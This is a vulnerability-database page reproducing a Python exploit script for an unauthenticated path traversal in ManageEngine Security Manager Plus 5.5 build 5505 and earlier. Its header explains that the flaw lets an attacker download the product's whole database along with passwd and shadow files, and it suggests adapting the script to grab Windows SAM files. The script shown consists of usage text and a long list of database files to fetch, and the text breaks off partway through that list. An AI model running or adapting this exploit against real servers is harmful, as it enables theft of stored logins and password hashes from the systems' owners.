Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

ManageEngine Security Manager Plus <= 5.5 build 5505 Path Traversal

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 15 Views

Security Manager Plus <= 5.5 build 5505 Path Traversal on Windows and Linux. Allows unauthorized download of complete database including passwd and shadow files

Code

                                                #!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     : Security Manager Plus &#60;= 5.5 build 5505 Path Traversal (Win+Linux)
# Date              : 18-10-2012
# Author            : xistence (xistence&#60;[AT]&#62;0x90.nl)
# Software link     : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.exe (Win)
# Software link     : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.zip (Linux)
# Vendor site       : http://www.manageengine.com/
# Version           : 5.5 build 5505 and lower
# Tested on         : CentOS 5.x + Windows XP/2008
#
# Vulnerability	    : The Path Traversal is possible on the &#34;store&#34; url, without any authentication. This allows us to download the complete
#		      database and thus gather windows/linux logins which are used for patching the servers. It will also download the
#		      passwd and shadow files as Security Manager Plus runs with root/SYSTEM privileges. Modify it to make it work on windows,
#		      and grab SAM files or other files. NOTE: At least one patch must have been downloaded in Security Manager Plus already.
#
# Fix:
# 1. Go to SMP server system and stop SMP service.
# 2. Download the SMP_Vul_fix.zip file from : http://bonitas.zohocorp.com/4264259/scanfi/31May2012/SMP_Vul_fix.zip
# 3. Extract the downloaded file which contains four files : AdvPMServer.jar, AdvPMClient.jar, scanfi.jar and AdventNetPMUnixAgent.jar
# 3. Copy the extracted .jar files to &#60;SMP-HOME&#62;\lib directory (e.g., C:\AdventNet\SecurityManager\lib). [Overwrite the existing jar files and do not rename them]
# 4. Start the SMP service.
#+--------------------------------------------------------------------------------------------------------------------------------+

import os, sys

if (len(sys.argv) != 2):
    print &#34;&#34;
    print &#34;[*] Security Manager Plus Path Traversal Exploit - xistence (xistence&#60;[at]&#62;0x90.nl) - 2012-05-29&#34;
    print &#34;&#34;
    print &#34;[*] Usage: secman-path.py &#60;RHOST&#62;&#34;
    print &#34;[*] I.e.:  ./secman-path.py www.manageengine.com&#34;
    print &#34;[*]&#34;
    print &#34;[*] RHOST = Remote Host which runs Security Manager Plus&#34;
    print &#34;&#34;
    print &#34;&#34;
    exit(0)

rhost = sys.argv[1]


dbFiles = [&#39;StatusPropagateCriteria.frm&#39;, &#39;UserPatchComment.frm&#39;, &#39;I18nLanguageCountry.frm&#39;, &#39;Udef_Class_Range.frm&#39;, &#39;AaaUserContactInfo.frm&#39;, &#39;JoinTable.frm&#39;, &#39;GlobalCredential.frm&#39;, &#39;PMWinOS.frm&#39;, &#39;SysDetails.frm&#39;, &#39;AaaRole.frm&#39;, &#39;Time_Expressions.frm&#39;, &#39;DCSupportedApplications.frm&#39;, &#39;ACSQLString.frm&#39;, &#39;DeviceInventoryItems.frm&#39;, &#39;ACFeedBackProperties.frm&#39;, &#39;AaaPasswordHint.frm&#39;, &#39;AllowedValues.frm&#39;, &#39;Integral_Agg_Vars.frm&#39;, &#39;ACCountSQLString.frm&#39;, &#39;AaaServicePasswordRule.frm&#39;, &#39;ACCacheConfig.frm&#39;, &#39;AaaOrgDetail.frm&#39;, &#39;Array_List.frm&#39;, &#39;ViewCustomizer.frm&#39;, &#39;DeviceAuditInfo.frm&#39;, &#39;AaaAccountOwner.frm&#39;, &#39;DeviceToServicePack.frm&#39;, &#39;MSPMDependencyServicePack.frm&#39;, &#39;NENetwork.frm&#39;, &#39;ACUserFilterGroup.frm&#39;, &#39;WeeklyVulnID.frm&#39;, &#39;RegistryChanges.frm&#39;, &#39;PMPatchType.frm&#39;, &#39;NetworkTopology.frm&#39;, &#39;VulnerabilityScanDetails.frm&#39;, &#39;AaaAccSessionProp.frm&#39;, &#39;Int_Expr_To_Int.frm&#39;, &#39;JoinRelCriteria.frm&#39;, &#39;AaaModuleService.frm&#39;, &#39;ClientServiceProviders.frm&#39;, &#39;PCIQuery.frm&#39;, &#39;Upd_Row_Task_Template.frm&#39;, &#39;JoinCriteria.frm&#39;, &#39;LinuxAppGroup.frm&#39;, &#39;Start_End_Count.frm&#39;, &#39;OpenPorts.frm&#39;, &#39;DevicePatchTaskInput.frm&#39;, &#39;Free5IPs.frm&#39;, &#39;Int_DataObj_Expr.frm&#39;, &#39;Pattern_Variables.frm&#39;, &#39;DevicePatchStatusAuditInfo.frm&#39;, &#39;Email_Message.frm&#39;, &#39;TestReport.frm&#39;, &#39;ACLink.frm&#39;, &#39;Decimal_DataObj_Vars.frm&#39;, &#39;IPInterfaceNetwork.frm&#39;, &#39;ACUserClientState.frm&#39;, &#39;ScanPolicy.frm&#39;, &#39;OfficeMediaLocation.frm&#39;, &#39;ServicePackStoreAuditInfo.frm&#39;, &#39;PMScanVulDetails.frm&#39;, &#39;Iter_DataObj_Task.frm&#39;, &#39;PatchGroup.frm&#39;, &#39;Bool_Str_Dataobj_Expr.frm&#39;, &#39;OracleErrorCode.frm&#39;, &#39;SystemInfo.frm&#39;, &#39;Upd_DataObj_Var_Task.frm&#39;, &#39;BulletinDatastore.frm&#39;, &#39;SmtpConfiguration.frm&#39;, &#39;AaaOrgUser.frm&#39;, &#39;PMScheduledTaskDetails.frm&#39;, &#39;AaaOrgPostalAddr.frm&#39;, &#39;User_Def_Char_Class.frm&#39;, &#39;FileHandler.frm&#39;, &#39;AaaService.frm&#39;, &#39;ACAjaxFormOption.frm&#39;, &#39;ScheduleScanTaskInput.frm&#39;, &#39;ColumnDetails.frm&#39;, &#39;Boolean_Variables.frm&#39;, &#39;ACElement.frm&#39;, &#39;ACViewToGroupMapping.frm&#39;, &#39;DeviceToPatch.frm&#39;, &#39;Int_Const_Opr_Expr.frm&#39;, &#39;AaaPamModuleOption.frm&#39;, &#39;GroupVulnerabilities.frm&#39;, &#39;Pattern_Expressions.frm&#39;, &#39;GroupCompNotification.frm&#39;, &#39;MSCommand.frm&#39;, &#39;ACContextHelp.frm&#39;, &#39;Rules_To_Statements.frm&#39;, &#39;String_Matcher_Group.frm&#39;, &#39;DeviceToMSSoftware.frm&#39;, &#39;Task_Owner.frm&#39;, &#39;AaaMethodParams.frm&#39;, &#39;IPv4Address.frm&#39;, &#39;I18nLocalMsg.frm&#39;, &#39;Theme.frm&#39;, &#39;Repair.frm&#39;, &#39;Num_Const_Opr_Expr.frm&#39;, &#39;ACParams.frm&#39;, &#39;AaaTableUpdatePermission.frm&#39;, &#39;PatchDetectionCheck.frm&#39;, &#39;Templates_To_Relvars.frm&#39;, &#39;WindowsUsers.frm&#39;, &#39;MSRegChg.frm&#39;, &#39;NetworkDomainInfo.frm&#39;, &#39;ActiveDirectoryInfo.frm&#39;, &#39;Udef_Expr_Opr_Expr.frm&#39;, &#39;ScheduledReports.frm&#39;, &#39;UpdateDefinition.frm&#39;, &#39;GroupTicNotification.frm&#39;, &#39;ResourceFalsePositiveVulns.frm&#39;, &#39;FolderChanges.frm&#39;, &#39;WebViewConfig.frm&#39;, &#39;PMOfficeEditionType.frm&#39;, &#39;ACClientProps.frm&#39;, &#39;ACFilterConfigList.frm&#39;, &#39;EPMTaskInput.frm&#39;, &#39;AdditionalViewParams.frm&#39;, &#39;Quotation.frm&#39;, &#39;Str_Expr_To_Str.frm&#39;, &#39;bla.py&#39;, &#39;Network.frm&#39;, &#39;WindowsGroups.frm&#39;, &#39;ACTableFilterListRel.frm&#39;, &#39;PMTaskDetails.frm&#39;, &#39;LatestResourceScans.frm&#39;, &#39;Loop_Task_Template.frm&#39;, &#39;YSeriesColumn.frm&#39;, &#39;AaaAccOldPassword.frm&#39;, &#39;ConstituentTable.frm&#39;, &#39;FalsePositiveTestCase.frm&#39;, &#39;AaaOrganization.frm&#39;, &#39;PatchStoreLocation.frm&#39;, &#39;Print_Log_RelVars.frm&#39;, &#39;DeviceTaskInput.frm&#39;, &#39;PdfViewConfig.frm&#39;, &#39;Rules.frm&#39;, &#39;ProductDetectionCheck.frm&#39;, &#39;TreeQuery.frm&#39;, &#39;WebUIComponent.frm&#39;, &#39;AaaAce.frm&#39;, &#39;Pointers_In_Path.frm&#39;, &#39;NetworkDnsInfo.frm&#39;, &#39;LinuxPackageDependency.frm&#39;, &#39;UserNamePassword.frm&#39;, &#39;ManagedResource.frm&#39;, &#39;ProfileGroupMap.frm&#39;, &#39;ScanAddressGroup.frm&#39;, &#39;Default_Task_Conf.frm&#39;, &#39;AaaAccBadLoginStatus.frm&#39;, &#39;Pattern_Template_Vars.frm&#39;, &#39;PatchApplicableDetails.frm&#39;, &#39;NEComponent.frm&#39;, &#39;FKColumnDefinition.frm&#39;, &#39;Str_Deriv_Int_Vars.frm&#39;, &#39;Par_Char_Class_Expr.frm&#39;, &#39;Bool_Num_Comp_Decimal.frm&#39;, &#39;PatchDependencyCheck.frm&#39;, &#39;Logger.frm&#39;, &#39;Email_CC_Address.frm&#39;, &#39;MSAffectedServicePack.frm&#39;, &#39;AaaUserStatus.frm&#39;, &#39;DownloadFiles.frm&#39;, &#39;AuditSeverityLevel.frm&#39;, &#39;JavaScriptAction.frm&#39;, &#39;HTTPDirList.frm&#39;, &#39;AaaOrgStatus.frm&#39;, &#39;Templates.frm&#39;, &#39;OSLanguage.frm&#39;, &#39;TablesInTree.frm&#39;, &#39;TestCasePattern.frm&#39;, &#39;ValidationFiles.frm&#39;, &#39;ReverseDNSEntries.frm&#39;, &#39;CC_Address.frm&#39;, &#39;PortGroup.frm&#39;, &#39;DeviceConfigTaskInput.frm&#39;, &#39;Time_Operator_Delta.frm&#39;, &#39;AuditLevel.frm&#39;, &#39;AdventNetErrorCode.frm&#39;, &#39;AaaUserTwoFactorDetails.frm&#39;, &#39;PMSystemConfig.frm&#39;, &#39;TableDSMap.frm&#39;, &#39;DeviceToInventory.frm&#39;, &#39;PatchDetails.frm&#39;, &#39;VulnerabilityReference.frm&#39;, &#39;AaaLogin.frm&#39;, &#39;ModuleContext.frm&#39;, &#39;AuditResultProperty.frm&#39;, &#39;MSFile.frm&#39;, &#39;PatchGroupTaskInput.frm&#39;, &#39;Handler.frm&#39;, &#39;Numeric_Expressions.frm&#39;, &#39;Module.frm&#39;, &#39;DeviceConfigAuditInfo.frm&#39;, &#39;Cr_DataObj_Task.frm&#39;, &#39;PersonalizedViewMap.frm&#39;, &#39;ACPageLengthConfig.frm&#39;, &#39;ResourceScanStatus.frm&#39;, &#39;Decimal_Variables.frm&#39;, &#39;AaaAccSession.frm&#39;, &#39;PersonalityConfiguration.frm&#39;, &#39;Bool_Str_Comp_Str.frm&#39;, &#39;MemoryInfo.frm&#39;, &#39;AaaPasswordRule.frm&#39;, &#39;Workflow_Templates.frm&#39;, &#39;String_DataObj_Vars.frm&#39;, &#39;DefaultTheme.frm&#39;, &#39;FolderBaseline.frm&#39;, &#39;RemoteCommands.frm&#39;, &#39;IPv6Address.frm&#39;, &#39;AaaRoleCategory.frm&#39;, &#39;Ext_Task_Api_Loc.frm&#39;, &#39;ModeSpecificServiceProviders.frm&#39;, &#39;TestCaseCGIScript.frm&#39;, &#39;SystemTemplateHandler.frm&#39;, &#39;I18nCurrentVersion.frm&#39;, &#39;Expressions.frm&#39;, &#39;MSRegKey.frm&#39;, &#39;DeviceConfig.frm&#39;, &#39;Inner_Join.frm&#39;, &#39;Address.frm&#39;, &#39;UsbInfo.frm&#39;, &#39;IPNetwork.frm&#39;, &#39;DiscoveredDomains.frm&#39;, &#39;ResourceRegValues.frm&#39;, &#39;Projection_Operator.frm&#39;, &#39;Udef_Char_Cls_Expr.frm&#39;, &#39;Integral_Variables.frm&#39;, &#39;To_Address.frm&#39;, &#39;Decimal_Obj_Expr.frm&#39;, &#39;Numeric_Rank_Vars.frm&#39;, &#39;ServerDetails.frm&#39;, &#39;WF_Task_Variables.frm&#39;, &#39;AuditRecord.frm&#39;, &#39;Menu.frm&#39;, &#39;UserPreferences.frm&#39;, &#39;OmitForScan.frm&#39;, &#39;ConfFile.frm&#39;, &#39;ProfileResourceMap.frm&#39;, &#39;AaaUserConfigRecord.frm&#39;, &#39;Pattern_DataObj_Vars.frm&#39;, &#39;Concat_Task_Template.frm&#39;, &#39;DeviceInfo.frm&#39;, &#39;MSPatch.frm&#39;, &#39;Bool_Num_Comp_Const.frm&#39;, &#39;Template_Constants.frm&#39;, &#39;While_Loop_Tasks.frm&#39;, &#39;Task_Input.frm&#39;, &#39;SelectTable.frm&#39;, &#39;MSServicePack.frm&#39;, &#39;Workflow_Instances.frm&#39;, &#39;WorkEngine_Config.frm&#39;, &#39;SingleTestCaseExecutor.frm&#39;, &#39;PMScheduledJob.frm&#39;, &#39;ACTabChildConfig.frm&#39;, &#39;NewLinuxAdvisory.frm&#39;, &#39;AaaAuthorizedRole.frm&#39;, &#39;Instances.frm&#39;, &#39;Subject_Keys.frm&#39;, &#39;Boundary_Matchers.frm&#39;, &#39;AaaPamModule.frm&#39;, &#39;AuditResourceProp.frm&#39;, &#39;WMITestCasePattern.frm&#39;, &#39;IndexDefinition.frm&#39;, &#39;Views_PIDX.frm&#39;, &#39;Selection_Operator.frm&#39;, &#39;CmdFilesToPush.frm&#39;, &#39;PKDefinition.frm&#39;, &#39;PMSPPushCounter.frm&#39;, &#39;ServiceBanner.frm&#39;, &#39;AaaAccHttpSession.frm&#39;, &#39;AaaTablePermission.frm&#39;, &#39;AllowedPattern.frm&#39;, &#39;LinuxExtPackage.frm&#39;, &#39;Workflow_Statements.frm&#39;, &#39;UniqueKeyDefinition.frm&#39;, &#39;Working_Hours.frm&#39;, &#39;DeviceToPackageList.frm&#39;, &#39;Architecture.frm&#39;, &#39;PMDeviceToSPInfo.frm&#39;, &#39;ChangeMonitorTasks.frm&#39;, &#39;AaaTableReadPermission.frm&#39;, &#39;NegateResult.frm&#39;, &#39;ViewConfiguration.frm&#39;, &#39;CustomViewServiceProviders.frm&#39;, &#39;Decimal_Agg_Vars.frm&#39;, &#39;KeyboardInfo.frm&#39;, &#39;Time_Template_Vars.frm&#39;, &#39;Task_Conf.frm&#39;, &#39;PMEntryPerPage.frm&#39;, &#39;DriveInfo.frm&#39;, &#39;Vulnerability.frm&#39;, &#39;Criteria.frm&#39;, &#39;AffectedProduct.frm&#39;, &#39;TestCaseCommands.frm&#39;, &#39;Reg_Expr_Split_List.frm&#39;, &#39;ACPSConfiguration.frm&#39;, &#39;Relations_In_Path.frm&#39;, &#39;FileCheckDetail.frm&#39;, &#39;PortGroupRange.frm&#39;, &#39;DeviceToPatchStatus.frm&#39;, &#39;AaaAccSessionAudit.frm&#39;, &#39;SeverityNode.frm&#39;, &#39;Message_Keys.frm&#39;, &#39;Decimal_DataObj_Expr.frm&#39;, &#39;ACElementAttr.frm&#39;, &#39;ProcessorInfo.frm&#39;, &#39;Template_Variables.frm&#39;, &#39;Relations.frm&#39;, &#39;AaaEnvironmentEntry.frm&#39;, &#39;AaaAccOwnerProfile.frm&#39;, &#39;AaaPostalAddress.frm&#39;, &#39;NewPatchInfo.frm&#39;, &#39;Replace_Reg_Expr_Str.frm&#39;, &#39;ACJSOption.frm&#39;, &#39;Int_Obj_Expr.frm&#39;, &#39;Mail_Server.frm&#39;, &#39;TestCaseHTTPURLCheck.frm&#39;, &#39;TestCase.frm&#39;, &#39;SelectSQLString.frm&#39;, &#39;NetworkElement.frm&#39;, &#39;AaaImpliedByTableColumn.frm&#39;, &#39;IPInterface.frm&#39;, &#39;PMMessage.frm&#39;, &#39;Update_Index_Vars.frm&#39;, &#39;UINavigationConfig.frm&#39;, &#39;Workflow_Unit_PIDX.frm&#39;, &#39;VulnerabilityCategory.frm&#39;, &#39;String_Template_Vars.frm&#39;, &#39;DataSource.frm&#39;, &#39;PMSPLocationExtn.frm&#39;, &#39;ConstraintDefinition.frm&#39;, &#39;Fk_Paths.frm&#39;, &#39;TemplateFiles.frm&#39;, &#39;I18nUserTranslatorMap.frm&#39;, &#39;Boolean_Template_Vars.frm&#39;, &#39;ACFilterConfig.frm&#39;, &#39;TmpViewCriteria.frm&#39;, &#39;Rename_Operator.frm&#39;, &#39;PdfUIComponent.frm&#39;, &#39;Str_Expr_Opr_Expr.frm&#39;, &#39;Error_Data.frm&#39;, &#39;ACFilterGroup.frm&#39;, &#39;MSFileChg.frm&#39;, &#39;MSBulletinComment.frm&#39;, &#39;Scheduled_Task.frm&#39;, &#39;ScheduledScan.frm&#39;, &#39;Schedule.frm&#39;, &#39;Boolean_Constants.frm&#39;, &#39;ReportTemplate.frm&#39;, &#39;ACCriteria.frm&#39;, &#39;DominantTableConfig.frm&#39;, &#39;AuditNotifyCriteria.frm&#39;, &#39;BulkTestCases.frm&#39;, &#39;PMTaskScanMapper.frm&#39;, &#39;Attachment_Input.frm&#39;, &#39;I18nPublicLocalMsg.frm&#39;, &#39;Pre_Def_Char_Class.frm&#39;, &#39;I18nVersion.frm&#39;, &#39;DeviceInventoryTypes.frm&#39;, &#39;Configuration.frm&#39;, &#39;MSRegChange.frm&#39;, &#39;SelectQuery.frm&#39;, &#39;LinuxPatchDependency.frm&#39;, &#39;AAARadiusConfig.frm&#39;, &#39;Num_Decimal_Opr_Expr.frm&#39;, &#39;DiscoveredHosts.frm&#39;, &#39;Str_DataObj_Expr.frm&#39;, &#39;Instance_Data.frm&#39;, &#39;ACTableViewConfig.frm&#39;, &#39;LinuxCheckDetail.frm&#39;, &#39;OpenViewInContentArea.frm&#39;, &#39;CiscoTestCasePattern.frm&#39;, &#39;Group_Templates.frm&#39;, &#39;Bool_Num_Dataobj_Expr.frm&#39;, &#39;ResourceWMITestResults.frm&#39;, &#39;MemoryModuleInfo.frm&#39;, &#39;ServiceVulnerability.frm&#39;, &#39;MSBulletin.frm&#39;, &#39;Num_Expr_Opr_Decimal.frm&#39;, &#39;Boolean_DataObj_Vars.frm&#39;, &#39;ACTableLayoutChildConfig.frm&#39;, &#39;Bool_Expr_Terms.frm&#39;, &#39;DefService.frm&#39;, &#39;AIPLocation.frm&#39;, &#39;ACNavigationConfiguration.frm&#39;, &#39;Tasks_To_Exceptions.frm&#39;, &#39;MSSupercededBulletin.frm&#39;, &#39;ViewConfiguration_PIDX.frm&#39;, &#39;I18nTranslator.frm&#39;, &#39;Proj_Opr_Output.frm&#39;, &#39;PortGroupPorts.frm&#39;, &#39;ResourceSch.frm&#39;, &#39;PatchDeployDependency.frm&#39;, &#39;DataObj_Variables.frm&#39;, &#39;Product.frm&#39;, &#39;UIComponent_PIDX.frm&#39;, &#39;Time_Constants.frm&#39;, &#39;Update_Template_Vars.frm&#39;, &#39;BulkTestCaseExecutor.frm&#39;, &#39;AddressGroupRange.frm&#39;, &#39;VulnerabilityGroup.frm&#39;, &#39;Commit_DataObj_Task.frm&#39;, &#39;MSAvailableSP.frm&#39;, &#39;ReportServiceFilter.frm&#39;, &#39;NEInterfaceDetails.frm&#39;, &#39;ResourceSoftwareList.frm&#39;, &#39;ACGridLayoutChildConfig.frm&#39;, &#39;Str_Obj_Expr.frm&#39;, &#39;ChartProperty.frm&#39;, &#39;FKDefinition.frm&#39;, &#39;AaaContactInfo.frm&#39;, &#39;ACLinkParams.frm&#39;, &#39;ACPanelElement.frm&#39;, &#39;Int_Expr_Opr_Const.frm&#39;, &#39;Bool_Composed_Expr.frm&#39;, &#39;TableDetails.frm&#39;, &#39;DeviceRebootStatus.frm&#39;, &#39;ReportType.frm&#39;, &#39;Bool_Time_Comp_Time.frm&#39;, &#39;AxisColumn.frm&#39;, &#39;AdvisoryPatchDependency.frm&#39;, &#39;TmpColumnRenderer.frm&#39;, &#39;ResourceConfiguration.frm&#39;, &#39;AaaAccount.frm&#39;, &#39;Out_Var_Instances.frm&#39;, &#39;MSPMRegChange.frm&#39;, &#39;DeviceToScanInfo.frm&#39;, &#39;RelationalCriteria.frm&#39;, &#39;ChartPropKey.frm&#39;, &#39;MSProductFamily.frm&#39;, &#39;TypeMatchCriteria.frm&#39;, &#39;Message_Templates.frm&#39;, &#39;LatestCompletedAGScans.frm&#39;, &#39;Checks.frm&#39;, &#39;I18nMessage.frm&#39;, &#39;WebMenuItem.frm&#39;, &#39;ACFormConfig.frm&#39;, &#39;Iter_Table_Task.frm&#39;, &#39;DeviceOfficeEditionType.frm&#39;, &#39;ScheduledTask_Retry.frm&#39;, &#39;Integral_Row_Count.frm&#39;, &#39;Bulletin.frm&#39;, &#39;ViewDataTableMapping.frm&#39;, &#39;MenuAndMenuItem.frm&#39;, &#39;PMPatchEXTNMaster.frm&#39;, &#39;FeatureParams.frm&#39;, &#39;Template_Data.frm&#39;, &#39;Workflow_Task.frm&#39;, &#39;Bool_Time_Comp_Const.frm&#39;, &#39;Workflow_Template_Task.frm&#39;, &#39;Print_Log_Expr.frm&#39;, &#39;AaaMethodPermission.frm&#39;, &#39;Num_Expr_Opr_Const.frm&#39;, &#39;SeqGenState.frm&#39;, &#39;ScanJobMapper.frm&#39;, &#39;ServerStatus.frm&#39;, &#39;DeviceCredential.frm&#39;, &#39;Relvars_To_Views.frm&#39;, &#39;Group_Count.frm&#39;, &#39;TCRegistryValueCheck.frm&#39;, &#39;PMDeviceToPatch.frm&#39;, &#39;DeviceGlobalCredential.frm&#39;, &#39;Default_Task_Input.frm&#39;, &#39;MSPatchComment.frm&#39;, &#39;ServerServiceProviders.frm&#39;, &#39;Inner_Join_Attribs.frm&#39;, &#39;ThreadPool.frm&#39;, &#39;Print_Log.frm&#39;, &#39;AaaPermission.frm&#39;, &#39;ScanInputsForDisplay.frm&#39;, &#39;ACFunctionColumns.frm&#39;, &#39;LinuxAdvisory.frm&#39;, &#39;MySQLErrorCode.frm&#39;, &#39;Exceptions.frm&#39;, &#39;SystemUserComment.frm&#39;, &#39;String_List.frm&#39;, &#39;NetworkInfo.frm&#39;, &#39;DeviceToLinuxOS.frm&#39;, &#39;AssetGroupCred.frm&#39;, &#39;MonitorInfo.frm&#39;, &#39;Fk_Pointers.frm&#39;, &#39;ACStringConstant.frm&#39;, &#39;MSProductFamilyDetail.frm&#39;, &#39;String_Variables.frm&#39;, &#39;CrackedUserNamePassword.frm&#39;, &#39;Coll_Iterat_Template.frm&#39;, &#39;TmpViewDetails.frm&#39;, &#39;AaaAccPassword.frm&#39;, &#39;HardDiskInfo.frm&#39;, &#39;ACColumnConfiguration.frm&#39;, &#39;Relvars.frm&#39;, &#39;ChartPropertySet.frm&#39;, &#39;Periodic.frm&#39;, &#39;LinuxPatch.frm&#39;, &#39;Email_Task_Input.frm&#39;, &#39;ServicePackTaskInput.frm&#39;, &#39;Resource_Location.frm&#39;, &#39;MSSQLCheckQuery.frm&#39;, &#39;TCHTTPFileGrep.frm&#39;, &#39;Email_To_Address.frm&#39;, &#39;AaaUserProperty.frm&#39;, &#39;ScanVulnGroup.frm&#39;, &#39;UIComponent.frm&#39;, &#39;InventoryHardware.frm&#39;, &#39;ACFilterList.frm&#39;, &#39;Schedule_View.frm&#39;, &#39;ManagedStateHolder.frm&#39;, &#39;Paths.frm&#39;, &#39;WmiErrorCode.frm&#39;, &#39;Trans_Closure_Attributes.frm&#39;, &#39;PMScanInfo.frm&#39;, &#39;SPDeployDependency.frm&#39;, &#39;AuditOperProperty.frm&#39;, &#39;Simple_Class_Expr.frm&#39;, &#39;ChartViewConfig.frm&#39;, &#39;Decimal_Expr_To_Dc.frm&#39;, &#39;AuditUserProperty.frm&#39;, &#39;BeanInterceptor.frm&#39;, &#39;DeviceRebootPending.frm&#39;, &#39;DataObj_Var_Tables.frm&#39;, &#39;MonitorProfiles.frm&#39;, &#39;AddressGroup.frm&#39;, &#39;PMPatchPushCounter.frm&#39;, &#39;ACColumnConfigurationList.frm&#39;, &#39;Pointer_Fk_Attributes.frm&#39;, &#39;MSSoftwareCheck.frm&#39;, &#39;Schedule_Audit.frm&#39;, &#39;NEInterface.frm&#39;, &#39;Integral_Template_Vars.frm&#39;, &#39;ACDropDown.frm&#39;, &#39;MouseInfo.frm&#39;, &#39;OperationAuditRecord.frm&#39;, &#39;Cr_Row_Task_Template.frm&#39;, &#39;Inner_Join_Tables.frm&#39;, &#39;DeviceGroup.frm&#39;, &#39;Forward.frm&#39;, &#39;ResourceDeviceMapper.frm&#39;, &#39;ACAjaxForm.frm&#39;, &#39;I18nVersionMessage.frm&#39;, &#39;Location.frm&#39;, &#39;Str_Const_Opr_Expr.frm&#39;, &#39;Resources_PIDX.frm&#39;, &#39;AntiVirusInfo.frm&#39;, &#39;UnavailableHosts.frm&#39;, &#39;TestCaseVulnerability.frm&#39;, &#39;AaaPamConf.frm&#39;, &#39;ReportMailSettings.frm&#39;, &#39;BeanProperties.frm&#39;, &#39;MSComment.frm&#39;, &#39;Pattern_To_Str_Expr.frm&#39;, &#39;ObjectIdentifierColumns.frm&#39;, &#39;ACDropDownParams.frm&#39;, &#39;AuditTableConfig.frm&#39;, &#39;OfficeDeploymentPolicy.frm&#39;, &#39;ScanInputs.frm&#39;, &#39;ACAjaxOptions.frm&#39;, &#39;FileChanges.frm&#39;, &#39;TableViewSortColumn.frm&#39;, &#39;Bool_Decimal_Dataobj_Expr.frm&#39;, &#39;I18nCreatedBy.frm&#39;, &#39;Time_Expr_To_Time.frm&#39;, &#39;ACEmailAddress.frm&#39;, &#39;PMMSServicePackInfo.frm&#39;, &#39;ScanRange.frm&#39;, &#39;Print_Task_Relvar.frm&#39;, &#39;ProfileMonitorMap.frm&#39;, &#39;Print_Task.frm&#39;, &#39;String_Expressions.frm&#39;, &#39;AaaDisableAuth.frm&#39;, &#39;PatchGroupResourceMap.frm&#39;, &#39;db.opt&#39;, &#39;DeviceSPStatusAuditInfo.frm&#39;, &#39;ACIntegerConstant.frm&#39;, &#39;AddressGroupHosts.frm&#39;, &#39;TaskEngine_Task.frm&#39;, &#39;ACTemplateHandler.frm&#39;, &#39;InventoryService.frm&#39;, &#39;StatusUpdateCriteria.frm&#39;, &#39;SelectColumn.frm&#39;, &#39;CVEDetail.frm&#39;, &#39;RemReportConf.frm&#39;, &#39;Parent_Class_Expr.frm&#39;, &#39;Relvars_To_Tables.frm&#39;, &#39;DeviceToGroup.frm&#39;, &#39;SoftwareList.frm&#39;, &#39;ProxyConfiguration.frm&#39;, &#39;Boolean_Expressions.frm&#39;, &#39;PatchSeverityImage.frm&#39;, &#39;DeviceGroupTaskInput.frm&#39;, &#39;ApplicationVulnerability.frm&#39;, &#39;MSPMInstallSequence.frm&#39;, &#39;SQinTreeQuery.frm&#39;, &#39;PMAlternateLocation.frm&#39;, &#39;MSFileChange.frm&#39;, &#39;Quantifier_Operator.frm&#39;, &#39;Time_Variables.frm&#39;, &#39;AlarmStateHolder.frm&#39;, &#39;WMITestCaseExpression.frm&#39;, &#39;DiscoveryJobs.frm&#39;, &#39;AaaOrgContactUser.frm&#39;, &#39;Udef_Char_Cls_Const.frm&#39;, &#39;ResourceDisplayMapper.frm&#39;, &#39;AddressGroupResources.frm&#39;, &#39;Task_Templates.frm&#39;, &#39;Time_DataObj_Vars.frm&#39;, &#39;MSProduct.frm&#39;, &#39;Integral_Expressions.frm&#39;, &#39;ACFtpDetails.frm&#39;, &#39;PackageStoreLocation.frm&#39;, &#39;ThemeAttributesMapping.frm&#39;, &#39;Out_Template_Vars.frm&#39;, &#39;RegkeyCheckDetail.frm&#39;, &#39;ACInstantFeedBack.frm&#39;, &#39;Integral_DataObj_Vars.frm&#39;, &#39;Composite.frm&#39;, &#39;AaaOrgContactInfo.frm&#39;, &#39;Statements.frm&#39;, &#39;MenuItem.frm&#39;, &#39;Num_Expr_Opr_Expr.frm&#39;, &#39;PMPatchLocationExtn.frm&#39;, &#39;Bool_Exists_Var.frm&#39;, &#39;ServicePackStoreLocation.frm&#39;, &#39;DeviceToPackageStatus.frm&#39;, &#39;ACMailConfig.frm&#39;, &#39;ScanTicNotification.frm&#39;, &#39;Bool_Neg_Expr.frm&#39;, &#39;MSMapping.frm&#39;, &#39;ReportRiskFilter.frm&#39;, &#39;TCServiceDependency.frm&#39;, &#39;Decimal_Template_Vars.frm&#39;, &#39;Attachment.frm&#39;, &#39;PMRegkeyCheckDetail.frm&#39;, &#39;AaaImpliedTableColumn.frm&#39;, &#39;TreeIdentifierColumns.frm&#39;, &#39;PatchStoreConfiguration.frm&#39;, &#39;ScanPortGroup.frm&#39;, &#39;NVaxApplication.frm&#39;, &#39;Bean.frm&#39;, &#39;Trans_Closure_Weights.frm&#39;, &#39;PMFileCheckDetail.frm&#39;, &#39;JoinColumns.frm&#39;, &#39;Iterat_Task_Template.frm&#39;, &#39;Discovery.frm&#39;, &#39;RangeValues.frm&#39;, &#39;OperatingSystem.frm&#39;, &#39;Email_Attachments.frm&#39;, &#39;Service.frm&#39;, &#39;DBAdapter.frm&#39;, &#39;PMProductFamily.frm&#39;, &#39;NotificationCriteria.frm&#39;, &#39;Pattern_To_Char_Expr.frm&#39;, &#39;AaaGenderHonorific.frm&#39;, &#39;Action.frm&#39;, &#39;ACRelationalCriteria.frm&#39;, &#39;PgSQLErrorCode.frm&#39;, &#39;PMPatchLocation.frm&#39;, &#39;Custom_Bool_Expr.frm&#39;, &#39;AaaTableAccessSPI.frm&#39;, &#39;AaaImpliedPermission.frm&#39;, &#39;Resources.frm&#39;, &#39;Patch.frm&#39;, &#39;MultiMediaInfo.frm&#39;, &#39;MSSupercededBy.frm&#39;, &#39;TableTemplateFiles.frm&#39;, &#39;SNMPCommunity.frm&#39;, &#39;PrinterInfo.frm&#39;, &#39;OSDisplayDetails.frm&#39;, 